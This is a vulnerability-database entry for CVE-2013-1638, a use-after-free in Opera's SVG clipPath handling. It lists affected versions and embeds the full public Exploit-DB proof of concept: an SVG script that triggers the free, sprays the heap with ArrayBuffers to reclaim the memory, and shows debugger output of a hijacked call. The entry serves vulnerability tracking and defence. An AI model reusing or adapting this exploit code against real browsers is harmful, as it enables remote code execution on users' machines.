CVE-2013-1638

critical
Published 2013-02-08 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
10.0

Description

Opera before 12.13 allows remote attackers to execute arbitrary code via crafted clipPaths in an SVG document.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-24448 dos windows verified text ยท 3 KB
Cons0ul ยท 2013-02-05

Opera SVG - Use-After-Free

text exploit Source: Exploit-DB
<svg xmlns="http://www.w3.org/2000/svg"	xmlns:xlink="http://www.w0.org/1999/xlink">
<g id="group">
<defs>
    <clipPath id="clip-circle" clip-path="url(#clip-rect)">
    </clipPath>
     <clipPath id="clip-rect">
    </clipPath>
</defs>
<circle id="rect" x="10" y="10" width="100" height="100" fill="green" />
</g>
<script><![CDATA[ 

//Author=Cons0ul

var b = new Array();

// this is our spray function where spray is allocated on LFH with exact size 0x78 
// so 0x78 size of block is created so far we are creating 0x50000 blocks
// to create 0x78 blocks we are using ArrayBuffer();

function feng_shui(){

for(i=0;i<1000;i++)window.opera.collect(); // <----- garbage collection


	for(i=0;i<0x50000;i++){
		payload = new ArrayBuffer(0x78) // use 0xb0 for 64bit machine
		payload[0]=0x6c
		payload[1]=0x03
		payload[2]=0xfe
		payload[3]=0x7f
		b.push(payload)
	}
}


// bug is use after free in handling of (use tag + clippath) witch try to access freed object
// 

		document.getElementById('rect').setAttribute('clip-path',"url(#clip-circle)");
		var c = document.createElement('use');
		c.setAttribute("xlink:href","rect")
				
		feng_shui();
		document.getElementById('clip-rect').appendChild(c);
		document.getElementById('rect').style.clipPath="url(#clip-circle)" // <----- bug
		window.opera.collect() // <------ gc() frees the allocation
		feng_shui();	//   <------------ we allocate our code at freed memory
		// at the end it tries freed block witch contains our data
		window.location.href=window.location.href;


/*	  

idc !heap -p -a ecx

  address 077c45e0 found in
    _HEAP @ b40000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        077c45d8 0010 0000  [00]   077c45e0    00078 - (free)



PS C:\Users\cons0ul> idc db ecx
077c45e0  92 48 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00  .H..............
077c45f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4600  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4610  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4620  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4630  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4640  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
077c4650  00 00 00 00 00 00 00 00-89 d0 6a 5b 00 00 00 88  ..........j[....
PS C:\Users\cons0ul> idc r
eax=7ffe4892 ebx=00000001 ecx=077c45e0 edx=00000000 esi=0372e590 edi=01d40048
eip=6b8c998b esp=0013e334 ebp=00000000 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
Opera_6b430000!OpGetNextUninstallFile+0xf8583:
6b8c998b ff5008          call    dword ptr [eax+8]    ds:0023:7ffe489a=????????
*/

		]]></script>
</svg>

Application impact

VendorProductVersionsFixed
operaopera_browser{"endIncluding":"12.12"}
operaopera_browser12.00
operaopera_browser12.01
operaopera_browser12.02
operaopera_browser12.10
operaopera_browser12.11

References

CWEs

CWE-94

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.